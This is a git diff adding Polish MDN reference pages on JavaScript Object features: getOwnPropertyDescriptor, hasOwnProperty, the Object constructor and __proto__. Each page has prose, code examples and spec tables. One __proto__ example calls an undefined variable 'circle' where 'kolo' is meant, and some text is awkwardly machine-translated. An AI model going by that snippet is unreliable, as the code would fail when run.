+ <dd>Jeżeli <code>true</code> odpowiadająca wartość właściwości może być zmieniona (tylko dla deskryptorów danych).</dd>
+ <dt><code>get</code></dt>
+ <dd>Funkcja, która zwraca getter dla odpowiadającej właściwości lub {{jsxref("undefined")}} jeżeli getter nie występuje (tylko dla deskryptorów dostępowych).</dd>
+ <dt><code>set</code></dt>
+ <dd>Funkcja, która zwraca setter dla odpowiadającej właściwości lub {{jsxref("undefined")}} jeżeli setter nie występuje (tylko dla deskryptorów dostępowych).</dd>
+ <dt><code>configurable</code></dt>
+ <dd>Jeżeli <code>true</code> odpowiadająca wartość właściwości może być zmieniona (również ich rodzaj - z właściwości danych na właściwość funkcji dostępowych, i odwrotnie) oraz usunięta z odopowiadającego obiektu.</dd>
+ <dt><code>enumerable</code></dt>
+ <dd>Jeżeli <code>true</code> odpowiadająca wartość właściwości będzie dostępna podczas iteracji po właściwosciach odpowiadającego obiektu.</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<pre class="brush: js">var o, d;
+
+o = { get foo() { return 17; } };
+d = Object.getOwnPropertyDescriptor(o, 'foo');
+// d is { configurable: true, enumerable: true, get: /*the getter function*/, set: undefined }
+
+o = { bar: 42 };
+d = Object.getOwnPropertyDescriptor(o, 'bar');
+// d is { configurable: true, enumerable: true, value: 42, writable: true }
+
+o = {};
+Object.defineProperty(o, 'baz', { value: 8675309, writable: false, enumerable: false });
+d = Object.getOwnPropertyDescriptor(o, 'baz');
+// d is { value: 8675309, writable: false, enumerable: false, configurable: false }
+</pre>
+
+<h2 id="Uwagi">Uwagi</h2>
+
+<p>W ES5, jeżeli pierwszy argument dla podanej metody nie jest obiektem (jest typem prostym), wówczas zostanie wyrzucony wyjątek {{jsxref("TypeError")}}. Natomiast w ES2015, na typie prymitywnym najpierw zostanie wykonana koercja do obiektu.</p>
+
+<pre class="brush: js">Object.getOwnPropertyDescriptor('foo', 0);
+// TypeError: "foo" is not an object // ES5 code
+
+Object.getOwnPropertyDescriptor('foo', 0);
+// {configurable:false, enumerable:true, value:"f", writable:false} // ES2015 code
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.3.3', 'Object.getOwnPropertyDescriptor')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.8.5.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarkowa">Kompatybilność przeglądarkowa</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.getOwnPropertyDescriptor")}}</p>
+</div>
+</div>
+
+<p> </p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Reflect.getOwnPropertyDescriptor()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/object/hasownproperty/index.html b/files/pl/web/javascript/referencje/obiekty/object/hasownproperty/index.html
new file mode 100644
index 0000000000..42bb16783b
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/object/hasownproperty/index.html
@@ -0,0 +1,150 @@
+---
+title: Object.prototype.hasOwnProperty()
+slug: Web/JavaScript/Referencje/Obiekty/Object/hasOwnProperty
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Wstęp</h2>
+
+<p>Metoda <code><strong>hasOwnProperty()</strong></code> zwraca wartość <code>true</code> jeśli obiekt, na którym została wywołana posiada konkretną własność.</p>
+
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+
+<pre class="syntaxbox notranslate"><code><var>obj</var>.hasOwnProperty(<var>prop</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parametry</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Nazwa ({{jsxref("String")}}) własności lub <a href="https://developer.mozilla.org/en-US/docs/Glossary/Symbol">Symbol</a>, do sprawdzenia.</dd>
+</dl>
+
+<h3 id="Wartość_zwracana">Wartość zwracana</h3>
+
+<p><span class="tlid-translation translation"><span class="alt-edited">A {{jsxref ("Boolean")}} wskazujący, czy obiekt zawiera w sobie określoną właściwość.</span></span></p>
+
+<h2 id="Description" name="Description">Opis</h2>
+
+<p>Każdy obiekt pochodzący od {{jsxref("Global_Objects/Object", "Object")}} dziedziczy metodę <code>hasOwnProperty</code>. Może być ona użyta do stwierdzenia czy obiekt posiada określoną własność, jako bezpośrednią (direct) własność. W przeciwieństwie do  operatora {{jsxref("Operators/in", "in")}}, metoda <code style="font-style: normal;">hasOwnProperty</code> nie sprawdza <u>w głąb łańcucha</u> własności obiektu.</p>
+
+<h2 id="Examples" name="Examples">Notatka</h2>
+
+<p><span class="tlid-translation translation"><span title=""><code>hasOwnProperty</code> zwraca <code>true</code>, nawet jeśli wartość właściwości to <code>null</code> lub <code>undefined</code>.</span></span></p>
+
+<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">o <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Object</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+o<span class="punctuation token">.</span>propOne <span class="operator token">=</span> <span class="keyword token">null</span><span class="punctuation token">;</span>
+o<span class="punctuation token">.</span><span class="function token">hasOwnProperty</span><span class="punctuation token">(</span><span class="string token">'propOne'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// zwraca true</span>
+o<span class="punctuation token">.</span>propTwo <span class="operator token">=</span> undefined<span class="punctuation token">;</span>
+o<span class="punctuation token">.</span><span class="function token">hasOwnProperty</span><span class="punctuation token">(</span><span class="string token">'propTwo'</span><span class="punctuation token">)</span><span class="punctuation token">; // zwraca true</span></code>
+</pre>
+
+<h2 id="Examples" name="Examples">Przykłady</h2>
+
+<h3 id="Example_Using_hasOwnProperty_to_test_for_a_property.27s_existence" name="Example:_Using_hasOwnProperty_to_test_for_a_property.27s_existence">Użycie <code>hasOwnProperty</code> do testowania istnienia własności</h3>
+
+<p>Poniższy przykład określa czy obiekt <code>o</code> posiada własność o nazwie <code>prop</code>:</p>
+
+<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">o <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Object</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+o<span class="punctuation token">.</span><span class="function token">hasOwnProperty</span><span class="punctuation token">(</span><span class="string token">'prop'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// zwraca false</span>
+o<span class="punctuation token">.</span>prop <span class="operator token">=</span> <span class="string token">'istnieje'</span><span class="punctuation token">;</span>
+o<span class="punctuation token">.</span><span class="function token">hasOwnProperty</span><span class="punctuation token">(</span><span class="string token">'prop'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// zwraca true</span></code></pre>
+
+<h3 id="Example_Direct_versus_inherited_properties" name="Example:_Direct_versus_inherited_properties">Własności bezpośrednie kontra odziedziczone</h3>
+
+<p>Poniższy przykład rozróżnia bezpośrednie właściwości z właściwościami dziedziczonymi w łańcuchu prototypów:</p>
+
+<pre class="brush: js notranslate">o = new Object();
+o.prop = 'istnieje';
+o.hasOwnProperty('prop'); // zwraca true
+o.hasOwnProperty('toString'); // zwraca false
+o.hasOwnProperty('hasOwnProperty'); // zwraca false
+</pre>
+
+<h3 id="Example_Itarate_over_properties_not_considering_inherited_properties" name="Example:_Itarate_over_properties_not_considering_inherited_properties">Iterowanie przez właściwości obiektu</h3>
+
+<p><span class="tlid-translation translation"><span title="">Poniższy przykład ilustruje sposób iteracji po właściwościach obiektu bez wykonywania iteracji na dziedziczonych właściwościach.</span></span></p>
+
+<pre class="notranslate">const obj = {
+ prop: 'Wartość',
+ secondProp: 'Wartość 2'
+}
+
+for (const name in obj) {
+ if (obj.hasOwnProperty(name)) {
+ console.log('Znaleziono własność ' + name + ' o wartości ' + obj[name])
+ } else {
+ console.log('Brak własności: ', name)
+ }
+}</pre>
+
+<div class="blockIndicator warning">
+<p><span class="tlid-translation translation"><span title="">Zwróć uwagę, że pętla </span></span>{{jsxref("Statements/for...in", "for...in")}}<span class="tlid-translation translation"><span title=""> tylko iteruje właściwości przeliczalne</span></span>, a <a href="http://zduck.com/2013/non-enumerable-properties-in-javascript/">nieprzeliczanych</a> nie zauważa.</p>
+</div>
+
+<h3 id="Używanie_hasOwnProperty_jako_nazwy_właściwości"><span class="tlid-translation translation"><span title="">Używanie <code>hasOwnProperty</code> jako nazwy właściwości</span></span></h3>
+
+<p><span class="tlid-translation translation"><span title="">JavaScript nie chroni nazwy właściwości <code>hasOwnProperty</code>;</span> <span title="">tak więc, jeśli istnieje możliwość, że obiekt może mieć właściwość o tej nazwie, konieczne jest użycie zewnętrznej właściwości <code>hasOwnProperty</code>, aby uzyskać poprawne wyniki:</span></span></p>
+
+<pre class="brush: js notranslate">const obj = {
+ hasOwnProperty: function() {
+ return false;
+ },
+ prop: 'Kolejna właściwość'
+};
+
+obj.hasOwnProperty('prop'); // zawsze zwróci false
+
+// <span class="tlid-translation translation"><span class="alt-edited">Użyj właściwości hasOwnProperty innego obiektu i wywołaj ją, ustawiając "this" na obj</span></span>
+({}).hasOwnProperty.call(obj, 'prop'); // zwraca true
+
+// <span class="tlid-translation translation"><span title="">W tym celu można również użyć własności hasOwnProperty z prototypu Object</span></span>
+Object.prototype.hasOwnProperty.call(obj, 'prop'); // zwraca true
+</pre>
+
+<p><span class="tlid-translation translation"><span title="">Zwróć uwagę, że w ostatnim przypadku nie ma żadnych nowo utworzonych obiektów.</span></span></p>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>ECMAScript 3rd Edition.</td>
+ <td>Standard</td>
+ <td>Initial definition. Implemented in JavaScript 1.5.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<div class="hidden">
+<p><span class="tlid-translation translation"><span title="">Tabela zgodności na tej stronie jest generowana na podstawie danych strukturalnych.</span> <span title="">Jeśli chcesz przyczynić się do danych, sprawdź <a href="/pl/docs/">https://github.com/mdn/browser-compat-data</a> i wyślij nam pull request'a.</span></span></p>
+</div>
+
+<div>{{Compat("javascript.builtins.Object.hasOwnProperty")}}</div>
+
+<h2 id="See_also" name="See_also">Zobacz także</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Statements/for...in", "for...in")}}</li>
+ <li>{{jsxref("Operators/in", "in")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_Revisited">JavaScript Guide: Inheritance revisited</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/object/index.html b/files/pl/web/javascript/referencje/obiekty/object/index.html
new file mode 100644
index 0000000000..88ed5060cb
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/object/index.html
@@ -0,0 +1,212 @@
+---
+title: Object
+slug: Web/JavaScript/Referencje/Obiekty/Object
+tags:
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/Object
+---
+<div>{{JSRef}}</div>
+
+<p>Konstruktor <strong>Object</strong> tworzy wrapper obiektu.</p>
+
+<h2 id="Tworzony_przez" name="Tworzony_przez">Składnia</h2>
+
+<pre class="syntaxbox"><code>// Notacja literałowa
+{ [ <var>paraWartoscNazwa1</var>[, <var>paraWartoscNazwa2</var>[, ...<var>paraWartoscNazwaN</var>] ] ] }
+
+// Wywoływany jako konstruktor
+new Object([<var>wartosc</var>])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code><var>paraWartoscNazwa1</var>, <var>paraWartoscNazwa2</var>, ... <var>paraWartoscNazwaN</var></code></dt>
+ <dd>Pary nazw (string) oraz wartości (jakakolwiek wartość) przyczym nazwa oddzielona jest od wartości dwukropkiem.</dd>
+ <dt><code><var>wartosc</var></code></dt>
+ <dd>Jakakolwiek wartość.</dd>
+</dl>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Kostruktor obiektu tworzy wrapper dla danej wartości. Jeżeli podana wartość to {{jsxref("null")}} albo {{jsxref("undefined")}}, konstruktor stworzy i zwróci pusty obiekt. W przeciwnym razie stworzy i zwróci obiekt o takim samym typie jak podana wartość. Jeżeli podana wartość jest obiektem to konstruktor zwróci ten właśnie obiekt.</p>
+
+<p>Zobacz również <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Operatory/Object_initializer">Inicjator obiektu / notacja literałowa</a>.</p>
+
+<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Właściwości</h2>
+
+<dl>
+ <dt><code>Object.length</code></dt>
+ <dd>Przyjmuje wartość 1.</dd>
+ <dt>{{jsxref("Object.prototype")}}</dt>
+ <dd>Pozwala na dodawanie właściwości i metod do wszystkich obiektów typu Object.</dd>
+</dl>
+
+<h2 id="Metody" name="Metody">Metody</h2>
+
+<dl>
+ <dt>{{jsxref("Object.assign()")}}</dt>
+ <dd>Kopiuje wszystkie <strong>własne </strong>właściwości z jednego lub więcej obiektów żródłowych do obiektu docelowego.</dd>
+ <dt>{{jsxref("Object.create()")}}</dt>
+ <dd>Tworzy nowy obiekt z podanym prototypem oraz właściwościami</dd>
+ <dt>{{jsxref("Object.defineProperty()")}}</dt>
+ <dd>Dodaje do obiektu wymienioną właściwość opisywaną przez podany deskryptor.</dd>
+ <dt>{{jsxref("Object.defineProperties()")}}</dt>
+ <dd>Dodaje do obiektu wymienione właściwości opisywane przez podane deskryptory.</dd>
+ <dt>{{jsxref("Object.freeze()")}}</dt>
+ <dd>Zamraża obiekt. Uniemożliwia usuwanie oraz modyfikowanie jego właściwości.</dd>
+ <dt>{{jsxref("Object.getOwnPropertyDescriptor()")}}</dt>
+ <dd>Zwraca z obiektu deskryptor dla wymienionej właściwości. </dd>
+ <dt>{{jsxref("Object.getOwnPropertyNames()")}}</dt>
+ <dd>Zwraca tablicę zawierającą nazwy wszystkich <strong>własnych</strong> właściwości obiektu. (Zarówno przeliczalnych jak i nieprzeliczalnych)</dd>
+ <dt>{{jsxref("Object.getOwnPropertySymbols()")}}</dt>
+ <dd>Zwraca tablicę zawierającą wszystkie <strong>własne</strong> właściwości-symbole danego obiektu</dd>
+ <dt>{{jsxref("Object.getPrototypeOf()")}}</dt>
+ <dd>Zwraca prototyp określonego obiektu.</dd>
+ <dt>{{jsxref("Object.is()")}}</dt>
+ <dd>Sprawdza czy dwie podane wartości są takie same.</dd>
+ <dt>{{jsxref("Object.isExtensible()")}}</dt>
+ <dd>Sprawdza czy obiekt można rozszerzyć.</dd>
+ <dt>{{jsxref("Object.isFrozen()")}}</dt>
+ <dd>Sprawdza czy obiekt jest zamrożony.</dd>
+ <dt>{{jsxref("Object.isSealed()")}}</dt>
+ <dd>Sprawdza czy obiekt jest zapieczętowany.</dd>
+ <dt>{{jsxref("Object.keys()")}}</dt>
+ <dd>Zwraca tablicę zawierającą nazwy wszystkich <strong>własnych</strong> właściwości obiektu. (Tylko przeliczalnych)</dd>
+ <dt>{{jsxref("Object.preventExtensions()")}}</dt>
+ <dd>Zabopiega rozszerzaniu obiektu (tj. dodawaniu właściwości).</dd>
+ <dt>{{jsxref("Object.seal()")}}</dt>
+ <dd>Zapieczętowuje obiekt, zapobiegając dodawaniu oraz usuwaniu jego właściwości.</dd>
+ <dt>{{jsxref("Object.setPrototypeOf()")}}</dt>
+ <dd>Ustawia prototyp obiektu.</dd>
+ <dt>{{jsxref("Object.values()")}} {{experimental_inline}}</dt>
+ <dd>Zwraca tablicę zawierającą wszystkie <strong>własne</strong>, przeliczalne wartości obiektu.</dd>
+</dl>
+
+<h2 id="Instancje_i_prototyp_Object">Instancje i prototyp <code>Object</code></h2>
+
+<p>W Javascript, wsyzstkie obiekty pochodzą od obiektu <code>Object</code>, tymsamym dziedziczą metody i właściwości z {{jsxref("Object.prototype")}}, jednak mogą być one nadpisane. Na przykład, prototypy innych konstruktorów nadpisują właściwość <code>constructor</code> oraz metody <code>toString</code><code>()</code>. Wszelkie zmiany w prototypie <code>Object</code> są przekazywane do wszystkich obiektów, chyba że właściwości lub metody do których zmiany się odnośiły zostały gdzieś po drodze nadpisane.</p>
+
+<h3 id="Właściwości">Właściwości</h3>
+
+<div>{{page('/pl/docs/Web/JavaScript/Referencje/Obiekty/Object/prototype', 'W.C5.82asno.C5.9Bci') }}</div>
+
+<h3 id="Metody_2">Metody</h3>
+
+<div>{{page('/pl/docs/Web/JavaScript/Referencje/Obiekty/Object/prototype', 'Metody') }}</div>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Używanie_typów_null_i_undefined">Używanie <font face="Consolas, Liberation Mono, Courier, monospace">typów</font> <code>null</code> i <code>undefined</code></h3>
+
+<p>W poniższych przykładach zmienna o przechowuje pusty obiekt <code>Object</code>:</p>
+
+<pre class="brush: js">var o = new Object();
+</pre>
+
+<pre class="brush: js">var o = new Object(undefined);
+</pre>
+
+<pre class="brush: js">var o = new Object(null);
+</pre>
+
+<h3 id="Tworzenie_obiektu_Boolean">Tworzenie obiektu <code>Boolean</code></h3>
+
+<p>W poniższych przykładach zmienna o przechowuje obiekty {{jsxref("Boolean")}}:</p>
+
+<pre class="brush: js">// równoznaczne z: o = new Boolean(true);
+var o = new Object(true);
+</pre>
+
+<pre class="brush: js">// równoznaczne z: o = new Boolean(false);
+var o = new Object(Boolean());
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Początkowa definicja. Zaimplementowana w JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2', 'Object')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object-objects', 'Object')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Dodano Object.assign, Object.getOwnPropertySymbols, Object.setPrototypeOf, Object.is</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object-objects', 'Object')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>Dodano Object.entries, Object.values oraz Object.getOwnPropertyDescriptors.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li><a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Object_initializer">Inicjalizator obiektu</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/object/proto/index.html b/files/pl/web/javascript/referencje/obiekty/object/proto/index.html
new file mode 100644
index 0000000000..6d4dd4653e
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/object/proto/index.html
@@ -0,0 +1,193 @@
+---
+title: Object.prototype.__proto__
+slug: Web/JavaScript/Referencje/Obiekty/Object/proto
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/proto
+---
+<div class="warning">
+<p><strong>Ostrzeżenie:</strong> Zmiana <code>[[Prototype]]</code> obiektu, ze względu na sposób w jaki współczesny JavaScript optymalizuje dostęp do właściwości, jest bardzo powolną operacją (W każdej przeglądarce!). Efekty modyfikacji łańcucha dziedziczenia są rozległe, nie chodzi tu tylko o wydłużenie czasu potrzebnego na wykonanie operacji <code>obj.__proto__ = ...</code>, skutki wpływają na <strong>każdy</strong> fragment kodu który odwołuje się do <strong>jakiejkolwiek</strong> właściwości obiektu, którego <code>[[Prototype]]</code> został zmieniony. Dlatego jeżeli zależy ci na wydajności powinieneś unikać tej operacji. Zamiast tego, stwórz nowy obiekt z porządanym <code>[[Prototype]]</code> za pomocą {{jsxref("Object.create()")}}.</p>
+</div>
+
+<div class="warning">
+<p><strong>Ostrzeżenie:</strong> Mimo że w dzisiejszych czasach <code>Object.prototype.__proto__</code> jest wspierany w niemal każdej przeglądarce, jego istnienie oraz zachowanie zostały ujednolicone w specyfikacji ECMAScript 2015 jedynie jako <em>legacy feature</em> aby zapewnić kompatybilność z przeglądarkami. Dla lepszego wsparcia rekomenduje się używanie {{jsxref("Object.getPrototypeOf()")}}.</p>
+</div>
+
+<div>{{JSRef}}</div>
+
+<p>Właściwość <code>__proto__</code> obiektu {{jsxref("Object.prototype")}} jest operatorem dostępu (metoda getter i setter) która operuje na wewnętrznym <code>[[Prototype]]</code> (na obiekcie lub na {{jsxref("Global_Objects/null", "null")}}) obiektu do którego się odnosi.</p>
+
+<p>Użycie <code>__proto__</code> jest kontrowersyjne i podchodzi się do niego z niechęcią. Oryginalnie nigdy nie pojawiło się w specyfikacji EcmaScript, ale nowoczesne przeglądarki postanowiły mimo wszystko to zaimplementować. Dopiero niedawno właściwość <code>__proto__</code> znalazła swoje miejsce w specyfikacji ECMAScript 2015 aby zapewnić kompatybilność z tymi przeglądarkami. Jest ona jednak przestarzała ze względu na {{jsxref("Object.getPrototypeOf")}}/{{jsxref("Reflect.getPrototypeOf")}} oraz {{jsxref("Object.setPrototypeOf")}}/{{jsxref("Reflect.setPrototypeOf")}} (choć modyfikowanie <code>[[Prototype]]</code> wciąż jest operacją powolną, która powinna być unikana przez wzgląd na wydajność).</p>
+
+<p><code>Właściwość __proto__</code> może być również używana w notacji literałowej aby ustawić <code>[[Prototype]]</code> tworzonego obiektu, jako alterantywa do {{jsxref("Object.create()")}}. Zobacz: <a href="/pl/docs/Web/JavaScript/Reference/Operators/Object_initializer">inicjalizator obiektu / notacja literałowa</a>.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="brush: js">var Kolo = function () {};
+var ksztalt = {};
+var kolo = new Kolo();
+
+// Ustawianie prototypu obiektu
+// ZDEPRECJONOWANE. Używamy tego tylko dla przykładu. NIE RÓB TEGO w prawdziwym kodzie.
+ksztalt.__proto__ = kolo;
+
+// Sprawdzenie prototypu obiektu
+console.log(ksztalt.__proto__ === kolo); // true
+</pre>
+
+<pre class="brush: js">var ksztalt = function () {};
+var p =
+{
+ a: function ()
+  {
+ console.log('aaa');
+ }
+};
+ksztalt.prototype.__proto__ = p;
+
+var kolo = new ksztalt();
+kolo.a(); // aaa
+
+console.log(ksztalt.prototype === kolo.__proto__); // true
+
+// albo
+
+var ksztalt = function () {};
+var p =
+{
+ a: function ()
+ {
+ console.log('aaa');
+ }
+};
+
+var kolo = new ksztalt();
+kolo.__proto__ = p;
+circle.a(); // aaa
+
+console.log(ksztalt.prototype === kolo.__proto__); // false
+
+// albo
+
+function ksztalt() {};
+ksztalt.prototype.a = function ()
+{
+ console.log('aaa');
+}
+var kolo = new ksztalt();
+kolo.a(); // aaa
+
+console.log(kolo.__proto__ === ksztalt.prototype); // true
+
+// albo
+
+var ksztalt = function () {};
+ksztalt.prototype.a = function ()
+{
+ console.log('aaa');
+}
+
+var kolo =
+{
+ __proto__: ksztalt.prototype
+};
+kolo.a(); // aaa
+
+console.log(kolo.__proto__ === ksztalt.prototype); // true
+</pre>
+
+<p>Uwaga: <code>__proto__</code> zapisujemy jako dwie <em>podłogi</em>, następnie pięć liter "proto", następnie dwie kolejne <em>podłogi</em>.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Metoda getter właściwości <code>__proto__</code> daje nam dostęp do wewnętrznej wartości <code>[[Prototype]]</code> obiektu. Dla obiektów stworzonych przy użyciu literału jest to {{jsxref("Object.prototype")}}. Dla tablic stworzonych przy użyciu literału jest to {{jsxref("Array.prototype")}}. Dla funkcji ta wartość to {{jsxref("Function.prototype")}}. Dla obiektów stworzonych przy użyciu <code>new Funkcja</code>, gdzie <code>Funkcja</code> to jeden z wbudowanych konstruktorów dostarczanych przez JavaScript ({{jsxref("Array")}}, {{jsxref("Boolean")}}, {{jsxref("Date")}}, {{jsxref("Number")}}, {{jsxref("Object")}}, {{jsxref("String")}}, i tak dalej — wliczając nowe konstrukotry, które mogą zostać dodane w przyszłości), ta wartość to zawsze <code>Funkcja.prototype</code>. Dla obiektów stworzonych przy użyciu <code>new Funkcja</code>, gdzie <code>Funkcja</code> to funkcja zdefiniowana w kodzie, wartość ta przyjmuje taką samą wartość jak <code>Funkcja.prototype</code>.</p>
+
+<p>Metoda setter właściwości <code>__proto__ </code>umożliwia modyfikowanie <code>[[Prototype]]</code> obiektu. W tym celu obiekt musi być roszerzalny według funkcji {{jsxref("Object.isExtensible()")}}, jeżeli nie jest {{jsxref("Global_Objects/TypeError", "TypeError")}} zostanie wyrzucony. Dostarczana wartość musi być obiektem albo typem {{jsxref("Global_Objects/null", "null")}}. Podanie jakiejkolwiek innej wartości nie zrobi nic.</p>
+
+<p>Aby zrozumieć w jaki sposób prototypy używane są do dziedziczenia, zobacz artykuł o <a href="/pl/docs/Web/JavaScript/dziedziczenie_lancuch_prototypow">dziedziczeniu oraz łańcuchu prototypów</a>.</p>
+
+<p>Właściwość <code>__proto__</code> jest prostym operatorem pamięci na {{jsxref("Object.prototype")}} składającym się z metody getter i setter. Dostęp do właściwości <code>__proto__</code> który ostatecznie konsultuje się z {{jsxref("Object.prototype")}} znajdzie tę właściwość, ale dostęp który nie konsultuje {{jsxref("Object.prototype")}} nie znajdzie jej. Jeżeli jakaś inna właściwość <code>__proto__</code> zostanie znaleziona, zanim {{jsxref("Object.prototype")}} zostanie skonsultowany, to właściwość ta przesłoni tą znalezioną w {{jsxref("Object.prototype")}}.</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-additional-properties-of-the-object.prototype-object', 'Object.prototype.__proto__')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Dołączony (normatywnie) jako jeden z dodatkowych ECMAScript <em>legacy features</em> dla przeglądarek (zauważ że specyfikacja jedynie ujednoliciła coś, co było już zaimplementowane w przeglądarkach).</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-additional-properties-of-the-object.prototype-object', 'Object.prototype.__proto__')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
